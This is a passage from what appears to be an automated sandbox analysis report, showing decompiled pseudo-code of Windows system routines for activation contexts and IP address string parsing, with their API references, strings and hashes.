						_t43 =  ~( *(_t82 + 8) & 8) & _t82;
					}
					if(_t82 == 0) {
						L20:
						_push(0xc0150010);
						goto L21;
					} else {
						while(_t43 == 0 ||  *((intOrPtr*)(_t43 + 0xc)) != _t80) {
							_t82 =  *_t82;
							_t71 = _t71 + 1;
							if(_t82 == 0) {
								_t43 = 0;
							} else {
								asm("sbb eax, eax");
								_t43 =  ~( *(_t82 + 8) & 8) & _t82;
							}
							if(_t82 != 0) {
								continue;
							}
							break;
						}
						if(_t82 == 0) {
							goto L20;
						}
						_v84 = _v84 & 0x00000000;
						_v88 = _v88 & 0x00000000;
						_push( &_v92);
						_v76 = 3;
						_v72 = _t71;
						_v68 = _t82;
						_v64 = _t85;
						_v92 = 0xc015000f;
						E6CE5DEF0(_t71, _t80);
						L8:
						_t83 =  *_t82;
						do {
							_t46 =  *(_t85 + 8);
							_t69 =  *_t85;
							if((_t46 & 0x00000001) != 0) {
								E6CE39B10( *((intOrPtr*)(_t85 + 4)));
								_t46 =  *(_t85 + 8);
							}
							if((_t46 & 0x00000008) != 0) {
								_t80 = _t85;
								E6CE04439(_v88, _t85);
							}
							_t85 = _t69;
						} while (_t69 != _t83);
						_t40 = _v88;
						 *_v88 = _t83;
						L14:
						_pop(_t84);
						_pop(_t86);
						_pop(_t70);
						return E6CE4B640(_t40, _t70,  *(_t89 + 0x64) ^ _t89, _t80, _t84, _t86);
					}
				}
				_t80 = _a8;
				if(_t80 == 0) {
					goto L14;
				}
				if((_t80 & 0xf0000000) != 0x10000000) {
					_push(_t80);
					_push("RtlDeactivateActivationContext");
					_push("SXS: %s() called with invalid cookie type 0x%08Ix\n");
					goto L17;
				}
				_t85 = 0xfff;
				_t71 = _t80 >> 0x00000010 ^  *( *( *[fs:0x18] + 0x1a8) + 0x14);
				_t40 =  *( *[fs:0x18] + 0x1a8);
				if((0x00000fff & (_t80 >> 0x00000010 ^  *( *( *[fs:0x18] + 0x1a8) + 0x14))) != 0) {
					_push( *(_t40 + 0x14) & 0x00000fff);
					_push(_t80);
					E6CE95720(0x33, 0, "SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix\n", "RtlDeactivateActivationContext");
					_t89 = _t89 + 0x18;
					goto L19;
				}
				_t85 =  *_t40;
				_v96 = _t40;
				if(_t85 == 0) {
					goto L14;
				}
				_t67 =  *(_t85 + 8) & 0x00000008;
				asm("sbb ecx, ecx");
				_t79 =  ~_t67 & _t85;
				if(_t67 == 0 ||  *((intOrPtr*)(_t79 + 0xc)) != _t80) {
					goto L22;
				} else {
					_t82 = _t85;
					goto L8;
				}
			}

0x6ce04368
0x6ce04370
0x6ce04372
0x6ce0437e
0x6ce04380
0x6ce6072a
0x6ce6072d
0x6ce60732
0x6ce60744
0x6ce60744
0x6ce60746
0x6ce60748
0x6ce6074d
0x6ce6076f
0x6ce6076f
0x6ce6077b
0x6ce6077b
0x6ce60780
0x6ce60780
0x6ce60782
0x6ce60786
0x6ce60798
0x6ce60788
0x6ce60792
0x6ce60794
0x6ce60794
0x6ce6079c
0x6ce60776
0x6ce60776
0x00000000
0x6ce6079e
0x6ce6079e
0x6ce607a7
0x6ce607a9
0x6ce607ac
0x6ce607be
0x6ce607ae
0x6ce607b8
0x6ce607ba
0x6ce607ba
0x6ce607c2
0x00000000
0x00000000
0x00000000
0x6ce607c2
0x6ce607c6
0x00000000
0x00000000
0x6ce607c8
0x6ce607d1
0x6ce607d6
0x6ce607d7
0x6ce607df
0x6ce607e3
0x6ce607e7
0x6ce607eb
0x6ce607f3
0x6ce043fb
0x6ce043fb
0x6ce043fd
0x6ce043fd
0x6ce04400
0x6ce04404
0x6ce60800
0x6ce60805
0x6ce60805
0x6ce0440c
0x6ce04412
0x6ce04414
0x6ce04414
0x6ce04419
0x6ce0441b
0x6ce0441f
0x6ce04423
0x6ce04425
0x6ce04429
0x6ce0442a
0x6ce0442b
0x6ce04436
0x6ce04436
0x6ce6079c
0x6ce04386
0x6ce0438b
0x00000000
0x00000000
0x6ce0439d
0x6ce60739
0x6ce6073a
0x6ce6073f
0x00000000
0x6ce6073f
0x6ce043ae
0x6ce043b9
0x6ce043c2
0x6ce043ca
0x6ce60757
0x6ce60758
0x6ce60767
0x6ce6076c
0x00000000
0x6ce6076c
0x6ce043d0
0x6ce043d2
0x6ce043d8
0x00000000
0x00000000
0x6ce043dd
0x6ce043e4
0x6ce043e6
0x6ce043ea
0x00000000
0x6ce043f9
0x6ce043f9
0x00000000
0x6ce043f9

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() called with invalid flags 0x%08lx,RtlDeactivateActivationContext,FFFFFFFE), ref: 6CE60748
DbgPrintEx.1105(00000033,00000000,SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix,RtlDeactivateActivationContext,?,?), ref: 6CE60767
RtlRaiseStatus.1105(C000000D), ref: 6CE6077B
RtlRaiseException.1105(?,?,?), ref: 6CE607F3
RtlReleaseActivationContext.1105(?), ref: 6CE60800

Strings

SXS: %s() called with invalid cookie type 0x%08Ix, xrefs: 6CE6073F
SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix, xrefs: 6CE6075E
SXS: %s() called with invalid flags 0x%08lx, xrefs: 6CE60732
RtlDeactivateActivationContext, xrefs: 6CE6072D, 6CE6073A, 6CE60759

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: PrintRaise$ActivationContextExceptionReleaseStatus
String ID: RtlDeactivateActivationContext$SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix$SXS: %s() called with invalid cookie type 0x%08Ix$SXS: %s() called with invalid flags 0x%08lx
API String ID: 1148088771-1245972979
Opcode ID: d6f513440959dd317d953156b6fca1fe98000054cf458d473379c391d25dc396
Instruction ID: a9b3a720ca64149f53ab12b72a0bf6502611c891bf4ee721f014e4af63f9d333
Opcode Fuzzy Hash: d6f513440959dd317d953156b6fca1fe98000054cf458d473379c391d25dc396
Instruction Fuzzy Hash: 064103316A4B919BD311DF1AC841B16BBB1EB80758F35892DE4649BF40DB30F8058FD5

Uniqueness

Uniqueness Score: -1.00%

Function 6CE00BD0, Relevance: 15.3, APIs: 10, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6CE00BD0(wchar_t* _a4, wchar_t** _a8, intOrPtr _a12) {
				char _v5;
				wchar_t* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				wchar_t* _v28;
				signed int _v32;
				long _t110;
				wchar_t** _t113;
				wchar_t* _t114;
				wchar_t* _t115;
				long _t116;
				long _t117;
				signed int _t118;
				int _t121;
				int _t122;
				void* _t123;
				wchar_t** _t126;
				int _t127;
				int _t128;
				wchar_t** _t129;
				signed int _t130;
				wchar_t* _t134;
				char _t135;
				wchar_t** _t138;
				char _t141;
				wchar_t** _t144;
				intOrPtr _t145;
				wchar_t* _t146;
				signed int _t147;
				long _t150;
				wchar_t** _t151;
				void* _t153;
				intOrPtr _t154;
				wchar_t* _t155;
				void* _t157;

				_t146 = _a4;
				_t144 = 0;
				_t129 = 0;
				_v20 = 0;
				_v28 = 0;
				_v5 = 0;
				_t150 =  *_t146 & 0x0000ffff;
				_v12 = 0;
				_v16 = 0;
				_v32 = 0;
				_v24 = 0;
				if(_t150 == 0) {
					_t134 = 0;
					L10:
					_t151 = _v20;
					 *_a8 = _t146;
					if(_t151 != 0) {
						if(_t151 != 3) {
							L13:
							return 0xc000000d;
						}
						_t134 = _t134 + 1;
						_v12 = _t134;
					}
					_t147 = _v32;
					if(_t147 != 0 || _t134 == 7) {
						if(_t129 != 1) {
							if(_t129 != 2) {
								goto L13;
							}
							_t145 = _a12;
							 *((short*)(_t145 + _v24 * 2)) = 0;
							L68:
							if(_t147 != 0) {
								_t153 = _t145 + _t147 * 2;
								_t89 = _t145 + 0x10; // 0x10
								memmove(_t89 + (_t147 - _t134) * 2, _t153, _t134 - _t147 + _t134 - _t147);
								memset(_t153, 0, 8 - _v12 + 8 - _v12);
							}
							return 0;
						}
						if(_t151 != 0) {
							if(_v16 > 3) {
								goto L13;
							}
							_t135 = wcstol(_v28, 0, 0xa);
							_t157 = _t157 + 0xc;
							if(_t135 > 0xff) {
								goto L13;
							}
							_t145 = _a12;
							 *((char*)(_t151 + _v24 * 2 + _t145)) = _t135;
							_t134 = _v12;
							goto L68;
						}
						if(_v16 > 4) {
							goto L13;
						}
						_t110 = wcstol(_v28, _t151, 0x10);
						_t145 = _a12;
						_t157 = _t157 + 0xc;
						 *((short*)(_t145 + _v24 * 2)) = _t110;
						_t134 = _v12;
						goto L68;
					} else {
						goto L13;
					}
				} else {
					goto L1;
				}
				do {
					L1:
					_t113 = _t129;
					if(_t113 == 0) {
						L15:
						if(_t150 == 0x3a) {
							if(_t144 != 0 || _v12 > _t144) {
								L9:
								_t134 = _v12;
								goto L10;
							} else {
								_t114 =  &(_t146[0]);
								if(_t146[0] != 0x3a) {
									goto L9;
								}
								_t130 = _v24;
								_t154 = _a12;
								_v32 = 1;
								_v12 = 2;
								 *((short*)(_t154 + _t130 * 2)) = 0;
								_v24 = 1 + _t130;
								_t146 = _t114;
								_t47 =  &(_t144[0]); // 0x2
								_t129 = _t47;
								L49:
								_t115 = _v28;
								if(_t115 == 0) {
									goto L24;
								}
								if(_t144 != 0) {
									if(_v16 > 3) {
										goto L13;
									}
									_t116 = wcstol(_t115, 0, 0xa);
									_t157 = _t157 + 0xc;
									if(_t116 > 0xff) {
										goto L13;
									}
									_t144 = _v20;
									 *(_t144 + _v24 * 2 + _t154 - 1) = _t116;
									_t141 = _v5;
									goto L24;
								}
								if(_v16 > 4) {
									goto L13;
								}
								_t117 = wcstol(_t115, _t144, 0x10);
								_t144 = _v20;
								_t157 = _t157 + 0xc;
								_t118 = _v24;
								 *((short*)(_t154 + _t118 * 2)) = _t117;
								_t141 = _v5;
								_v24 = 1 + _t118;
								goto L24;
							}
						}
						_t134 = _v12;
						if(_t134 > 7 || _t150 >= 0x80) {
							goto L10;
						} else {
							_t121 = iswctype(_t150, 4);
							_t157 = _t157 + 8;
							if(_t121 != 0) {
								_t144 = _v20;
								_t129 = 1;
								_t138 = 0;
								_v28 = _t146;
								_v16 = 1;
								L23:
								_v5 = _t138;
								goto L24;
							}
							_t122 = iswctype(_t150, 0x80);
							_t157 = _t157 + 8;
							if(_t122 == 0) {
								goto L9;
							}
							_t144 = _v20;
							if(_t144 != 0) {
								goto L9;
							}
							_t129 = 1;
							_v28 = _t146;
							_v16 = 1;
							L22:
							_t138 = 1;
							goto L23;
						}
					}
					_t123 = _t113 - 1;
					if(_t123 != 0) {
						if(_t123 == 1) {
							goto L15;
						}
						L39:
						if(_t129 == 1) {
							goto L24;
						}
						_t154 = _a12;
						goto L49;
					}
					if(_t150 >= 0x80) {
						L7:
						if(_t150 == 0x3a) {
							if(_t144 != 0) {
								goto L9;
							}
							_t155 = _v12;
							if(_t155 > 6) {
								goto L9;
							}
							if(_t146[0] != 0x3a) {
								_t129 = 0;
								_t126 = 1;
								L38:
								_v12 = _t155 + _t126;
								goto L39;
							}
							if(_v32 != _t144) {
								goto L9;
							}
							_t146 =  &(_t146[0]);
							_v32 = _t155 + 1;
							_t129 = 2;
							_t126 = 2;
							goto L38;
						}
						if(_t150 == 0x2e) {
							if(_t141 != 0 || _t144 > 2 || _v12 > 6) {
								goto L9;
							} else {
								_t154 = _a12;
								_t144 =  &(_t144[0]);
								_v20 = _t144;
								_t129 = 0;
								goto L49;
							}
						}
						goto L9;
					}
					_t127 = iswctype(_t150, 4);
					_t157 = _t157 + 8;
					if(_t127 != 0) {
						_v16 = 1 + _v16;
						_t141 = _v5;
						_t144 = _v20;
						goto L24;
					}
					_t128 = iswctype(_t150, 0x80);
					_t144 = _v20;
					_t157 = _t157 + 8;
					if(_t128 != 0) {
						_v16 =  &(_v16[0]);
						if(_t144 == 0) {
							goto L22;
						}
						goto L9;
					}
					_t141 = _v5;
					goto L7;
					L24:
					_t150 = _t146[0] & 0x0000ffff;
					_t146 =  &(_t146[0]);
				} while (_t150 != 0);
				goto L9;
			}

0x6ce00bdb
0x6ce00bde
0x6ce00be0
0x6ce00be2
0x6ce00be7
0x6ce00bea
0x6ce00bed
0x6ce00bf0
0x6ce00bf3
0x6ce00bf6
0x6ce00bf9
0x6ce00bff
0x6ce00d14
0x6ce00c69
0x6ce00c6c
0x6ce00c6f
0x6ce00c73
0x6ce5e8fd
0x6ce00c8d
0x00000000
0x6ce00c8d
0x6ce5e903
0x6ce5e904
0x6ce5e904
0x6ce00c79
0x6ce00c7e
0x6ce5e90f
0x6ce5e97b
0x00000000
0x00000000
0x6ce5e981
0x6ce5e989
0x6ce5e98d
0x6ce5e98f
0x6ce5e993
0x6ce5e99d
0x6ce5e9a5
0x6ce5e9b8
0x6ce5e9bd
0x00000000
0x6ce5e9c0
0x6ce5e913
0x6ce5e944
0x00000000
0x00000000
0x6ce5e956
0x6ce5e958
0x6ce5e961
0x00000000
0x00000000
0x6ce5e96a
0x6ce5e970
0x6ce5e973
0x00000000
0x6ce5e973
0x6ce5e919
0x00000000
0x00000000
0x6ce5e925
0x6ce5e92a
0x6ce5e931
0x6ce5e937
0x6ce5e93b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce00c05
0x6ce00c05
0x6ce00c07
0x6ce00c0a
0x6ce00c9b
0x6ce00c9f
0x6ce5e82f
0x6ce00c66
0x6ce00c66
0x00000000
0x6ce5e83e
0x6ce5e843
0x6ce5e846
0x00000000
0x00000000
0x6ce5e84c
0x6ce5e851
0x6ce5e854
0x6ce5e85b
0x6ce5e862
0x6ce5e867
0x6ce5e86a
0x6ce5e86c
0x6ce5e86c
0x6ce5e86f
0x6ce5e86f
0x6ce5e874
0x00000000
0x00000000
0x6ce5e87c
0x6ce5e8b2
0x00000000
0x00000000
0x6ce5e8bd
0x6ce5e8c2
0x6ce5e8ca
0x00000000
0x00000000
0x6ce5e8d0
0x6ce5e8d9
0x6ce5e8dd
0x00000000
0x6ce5e8dd
0x6ce5e882
0x00000000
0x00000000
0x6ce5e88c
0x6ce5e891
0x6ce5e898
0x6ce5e89b
0x6ce5e89e
0x6ce5e8a3
0x6ce5e8a6
0x00000000
0x6ce5e8a6
0x6ce5e82f
0x6ce00ca5
0x6ce00cab
0x00000000
0x6ce00cb7
0x6ce00cba
0x6ce00cbf
0x6ce00cc4
0x6ce5e8e5
0x6ce5e8e8
0x6ce5e8ed
0x6ce5e8ef
0x6ce5e8f2
0x6ce00cf0
0x6ce00cf0
0x00000000
0x6ce00cf0
0x6ce00cd0
0x6ce00cd5
0x6ce00cda
0x00000000
0x00000000
0x6ce00cdc
0x6ce00ce1
0x00000000
0x00000000
0x6ce00ce3
0x6ce00ce8
0x6ce00ceb
0x6ce00cee
0x6ce00cee
0x00000000
0x6ce00cee
0x6ce00cab
0x6ce00c10
0x6ce00c13
0x6ce5e7a1
0x00000000
0x00000000
0x6ce5e7f9
0x6ce5e7fc
0x00000000
0x00000000
0x6ce5e802
0x00000000
0x6ce5e802
0x6ce00c21
0x6ce00c52
0x6ce00c56
0x6ce5e7b9
0x00000000
0x00000000
0x6ce5e7bf
0x6ce5e7c5
0x00000000
0x00000000
0x6ce5e7d0
0x6ce5e7ed
0x6ce5e7ef
0x6ce5e7f4
0x6ce5e7f6
0x00000000
0x6ce5e7f6
0x6ce5e7d5
0x00000000
0x00000000
0x6ce5e7de
0x6ce5e7e1
0x6ce5e7e4
0x6ce5e7e9
0x00000000
0x6ce5e7e9
0x6ce00c60
0x6ce5e809
0x00000000
0x6ce5e822
0x6ce5e822
0x6ce5e825
0x6ce5e826
0x6ce5e829
0x00000000
0x6ce5e829
0x6ce5e809
0x00000000
0x6ce00c60
0x6ce00c26
0x6ce00c2b
0x6ce00c30
0x6ce5e7a9
0x6ce5e7ac
0x6ce5e7af
0x00000000
0x6ce5e7af
0x6ce00c3c
0x6ce00c41
0x6ce00c44
0x6ce00c49
0x6ce00d08
0x6ce00d0d
0x00000000
0x00000000
0x00000000
0x6ce00d0f
0x6ce00c4f
0x00000000
0x6ce00cf3
0x6ce00cf3
0x6ce00cf7
0x6ce00cfa
0x00000000

APIs

iswctype.1105(?,00000004,00000000,?,00000000,?,?,00000000,00000000), ref: 6CE00C26
iswctype.1105(?,00000080,?,00000000,?,?,00000000,00000000), ref: 6CE00C3C
iswctype.1105(?,00000004,00000000,?,00000000,?,?,00000000,00000000), ref: 6CE00CBA
iswctype.1105(?,00000080,?,00000000,?,?,00000000,00000000), ref: 6CE00CD0
wcstol.1105(?,00000000,00000010,00000000,?,00000000), ref: 6CE5E88C

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype$wcstol
String ID:
API String ID: 3196148086-0
Opcode ID: e8cce5817cc4ce449349599480dfbb7a9bb6f94171a4a7226f78549168923cd8
Instruction ID: 43c990c5d534cfe04beda5867602cd30458c7c7dcea4b0ec77191d2c2848ffc8
Opcode Fuzzy Hash: e8cce5817cc4ce449349599480dfbb7a9bb6f94171a4a7226f78549168923cd8
Instruction Fuzzy Hash: B891BEB5E0465AABCB20CF99C8807EFB7B1FF41308F748169D85067B40E235AA65CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE946A4, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 206
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6CE946A4(void* __ecx, intOrPtr* __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				int _v28;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t120;
				intOrPtr _t121;
				signed int _t126;
				signed int _t127;
				intOrPtr* _t145;
				intOrPtr* _t147;
				signed int _t148;
				intOrPtr _t149;
				intOrPtr _t150;
				intOrPtr* _t151;
				signed int _t152;
				void* _t153;
				intOrPtr _t155;
				intOrPtr _t157;
				intOrPtr _t158;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr _t166;
				intOrPtr _t167;
				int _t168;
				intOrPtr _t169;
				signed int _t171;
				intOrPtr* _t172;
				intOrPtr* _t174;
				void* _t175;
				short* _t176;
				signed int _t177;
				void* _t178;

				_t153 = __ecx;
				_t177 = 0;
				_v20 = 0xc00000e5;
				_t172 = _a12;
				_t145 = __edx;
				_v8 = 0;
				_v24 = 0;
				if(_t172 != 0) {
					 *_t172 = 0;
				}
				_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x18)) + _t153 + 8));
				_v16 =  *_t145;
				if( *_t145 < _t162 - 1) {
					E6CE31D47( &_v20, _a4, _a8, _t172, 0x58, _t153, _t153, 2,  &_v8,  &_v28);
					if(_v24 == 0) {
						_t177 = _v20;
					} else {
						_t164 = _v8;
						_t19 = _t145 + 4; // 0x0
						_t115 =  *_t19;
						_v24 = _t115;
						_t155 =  *((intOrPtr*)(_t164 + 0x14));
						if(_t115 < _t155) {
							_t116 =  *((intOrPtr*)(_t164 + 0x18));
							if(_t116 == 0) {
								L16:
								_t177 = 0xc0150015;
							} else {
								_v20 = _t177;
								_v12 = _t116 + _t164;
								_v16 = _t177;
								if(_t155 != 0) {
									_v28 =  *_t145 + 1;
									_t147 = _v12 + 0xc;
									_t120 = _v24;
									do {
										_t166 = _v8;
										if( *((intOrPtr*)(_t147 + 8)) != _v28) {
											goto L15;
										} else {
											if(_v20 != _t120 ||  *_t147 == _t177) {
												_v20 = _v20 + 1;
												goto L15;
											} else {
												_t157 =  *_t147 + _t166;
												_v24 = _t157;
												if(_t157 == 0) {
													goto L16;
												} else {
													_t148 = _v16 * 0x18;
													_t121 = 0x14;
													_v20 = _t148;
													_t149 =  *((intOrPtr*)(_t148 + _v12 + 8));
													_t174 = _a12;
													if(_t149 != 0) {
														_t121 = _t149 + 0x16;
													}
													_t150 =  *((intOrPtr*)(_t157 + 8));
													if(_t150 != 0) {
														_t121 = _t121 + 2 + _t150;
													}
													if(_t121 <= _a8) {
														_t151 = _a4;
														_t167 = _v12;
														 *_t151 =  *((intOrPtr*)(_t157 + 4));
														_t51 = _t151 + 0x14; // 0x15
														_t175 = _t51;
														 *((intOrPtr*)(_t151 + 4)) =  *((intOrPtr*)(_v20 + _t167 + 8));
														 *((intOrPtr*)(_t151 + 8)) =  *((intOrPtr*)(_t157 + 8));
														_t126 = _v20;
														 *(_t151 + 0xc) = _t177;
														 *(_t151 + 0x10) = _t177;
														_t168 =  *((intOrPtr*)(_t126 + _t167 + 8));
														_v28 = _t168;
														_t169 = _v8;
														if(_t168 != 0) {
															memcpy(_t175,  *((intOrPtr*)(_t126 + _v12 + 4)) + _t169, _v28);
															_t178 = _t178 + 0xc;
															 *(_t151 + 0xc) = _t175;
															_t176 = _t175 +  *((intOrPtr*)(_v20 + _v12 + 8));
															_t157 = _v24;
															 *_t176 = 0;
															_t175 = _t176 + 2;
														}
														if( *((intOrPtr*)(_t157 + 8)) != _t177) {
															_t127 =  *(_t157 + 0x10);
															if(_t127 != 0) {
																_t171 = _t127 * 0x2c + _v8;
																_v20 = _t171;
																if(_t171 != 0) {
																	 *(_t151 + 0x10) = _t175;
																	_t152 = _t177;
																	if( *((intOrPtr*)(_t157 + 0xc)) <= _t177) {
																		L37:
																		 *_t175 = 0;
																	} else {
																		_t158 = _v24;
																		_v28 = _a4 + _a8;
																		while( *((intOrPtr*)(_t171 + 4 + _t152 * 8)) + 2 + _t175 <= _v28) {
																			if( *((intOrPtr*)(_t171 + 4 + _t152 * 8)) != _t177) {
																				memcpy(_t175, _v8 +  *((intOrPtr*)(_t171 + 4 + _t152 * 8)),  *(_t171 + _t152 * 8));
																				_t171 = _v20;
																				_t178 = _t178 + 0xc;
																				_t158 = _v24;
																				_t175 = _t175 +  *(_t171 + _t152 * 8);
																			}
																			_t152 = _t152 + 1;
																			if(_t152 <  *((intOrPtr*)(_t158 + 0xc))) {
																				continue;
																			} else {
																				goto L37;
																			}
																			goto L39;
																		}
																		goto L16;
																	}
																}
															}
														}
													} else {
														if(_t174 != 0) {
															 *_t174 = _t121;
														}
														_t177 = 0xc0000023;
													}
												}
											}
										}
										goto L39;
										L15:
										_v16 = _v16 + 1;
										_t147 = _t147 + 0x18;
									} while (_v16 < _t155);
								}
								goto L16;
							}
						} else {
							_push( *_t145);
							_push(_t155);
							_push(_t115);
							E6CE95720(0x33, _t177, "SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u)\n", "RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation");
							goto L4;
						}
					}
				} else {
					_push(_t162);
					_push(_v16);
					E6CE95720(0x33, _t177, "SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context\n", "RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation");
					L4:
					_t177 = 0xc000000d;
				}
				L39:
				return _t177;
			}

0x6ce946a4
0x6ce946ae
0x6ce946b0
0x6ce946b8
0x6ce946bb
0x6ce946bd
0x6ce946c0
0x6ce946c5
0x6ce946c7
0x6ce946c7
0x6ce946cc
0x6ce946d2
0x6ce946da
0x6ce9471b
0x6ce94727
0x6ce948c0
0x6ce9472d
0x6ce9472d
0x6ce94730
0x6ce94730
0x6ce94733
0x6ce94736
0x6ce9473b
0x6ce94758
0x6ce9475d
0x6ce9479f
0x6ce9479f
0x6ce9475f
0x6ce94761
0x6ce94764
0x6ce94767
0x6ce9476c
0x6ce94774
0x6ce94777
0x6ce9477a
0x6ce9477d
0x6ce94783
0x6ce94786
0x00000000
0x6ce94788
0x6ce9478b
0x6ce94791
0x00000000
0x6ce947a9
0x6ce947ab
0x6ce947ad
0x6ce947b0
0x00000000
0x6ce947b2
0x6ce947b2
0x6ce947bb
0x6ce947bc
0x6ce947bf
0x6ce947c3
0x6ce947c8
0x6ce947ca
0x6ce947ca
0x6ce947cd
0x6ce947d2
0x6ce947d7
0x6ce947d7
0x6ce947dc
0x6ce947ee
0x6ce947f4
0x6ce947f7
0x6ce947f9
0x6ce947f9
0x6ce94803
0x6ce94809
0x6ce9480c
0x6ce9480f
0x6ce94812
0x6ce94815
0x6ce9481b
0x6ce9481e
0x6ce94821
0x6ce94831
0x6ce94839
0x6ce9483f
0x6ce94842
0x6ce94848
0x6ce9484b
0x6ce9484e
0x6ce9484e
0x6ce94854
0x6ce94856
0x6ce9485b
0x6ce94860
0x6ce94863
0x6ce94866
0x6ce94868
0x6ce9486b
0x6ce94870
0x6ce948b9
0x6ce948bb
0x6ce94872
0x6ce94878
0x6ce9487b
0x6ce9487e
0x6ce94894
0x6ce948a2
0x6ce948a7
0x6ce948aa
0x6ce948ad
0x6ce948b0
0x6ce948b0
0x6ce948b3
0x6ce948b7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce948b7
0x00000000
0x6ce9487e
0x6ce94870
0x6ce94866
0x6ce9485b
0x6ce947de
0x6ce947e0
0x6ce947e2
0x6ce947e2
0x6ce947e4
0x6ce947e4
0x6ce947dc
0x6ce947b0
0x6ce9478b
0x00000000
0x6ce94794
0x6ce94794
0x6ce94797
0x6ce9479a
0x6ce9477d
0x00000000
0x6ce9476c
0x6ce9473d
0x6ce9473d
0x6ce9473f
0x6ce94740
0x6ce9474e
0x00000000
0x6ce94753
0x6ce9473b
0x6ce946dc
0x6ce946dc
0x6ce946dd
0x6ce946ed
0x6ce946f5
0x6ce946f5
0x6ce946f5
0x6ce948c4
0x6ce948cb

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,?,?,6CE517F0,00000000,?,00000000,?), ref: 6CE946ED

Part of subcall function 6CE31D47: memset.1105(00000000,00000000,6CE517F0,?,00000001,00000000,?,6CE08D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6CE31D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u),RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,00000000,?,6CEDFE98,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000), ref: 6CE9474E
memcpy.1105(00000015,?,00000000,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6CE517F0,00000000,?,00000000), ref: 6CE94831
memcpy.1105(00000015,?,-00000F38,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6CE517F0,00000000,?,00000000), ref: 6CE948A2

Strings

RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation, xrefs: 6CE946E0, 6CE94741
SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u), xrefs: 6CE94746
SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6CE946E5

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemcpy$memset
String ID: RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u)$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3998808364-2744866428
Opcode ID: 79f03a5a7de69fef2a701d3cc7e446916074334e129bad335318b1c20bd7b6af
Instruction ID: 4c86de6a243bc41535d30230505e75c8048b331fc66f20c136107916e209a3fa
Opcode Fuzzy Hash: 79f03a5a7de69fef2a701d3cc7e446916074334e129bad335318b1c20bd7b6af
Instruction Fuzzy Hash: C9812C75E0121ADFDB10CF88C881EAEB7B5FF45308B24855AE824AB715D370EA51CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE94496, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E6CE94496(void* __ecx, signed int __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v8;
				short _v12;
				char _v16;
				char _v20;
				intOrPtr _t96;
				intOrPtr _t106;
				intOrPtr _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				intOrPtr* _t128;
				void* _t154;
				intOrPtr _t155;
				intOrPtr* _t162;
				void* _t165;
				signed int _t167;
				void* _t169;
				intOrPtr* _t170;
				void* _t171;
				short* _t172;
				short* _t173;
				short* _t174;
				void* _t175;

				_t170 = _a12;
				_t167 = __edx;
				_v16 = 0xc00000e5;
				_t165 = __ecx;
				_v12 = 0;
				if(_t170 != 0) {
					 *_t170 = 0;
				}
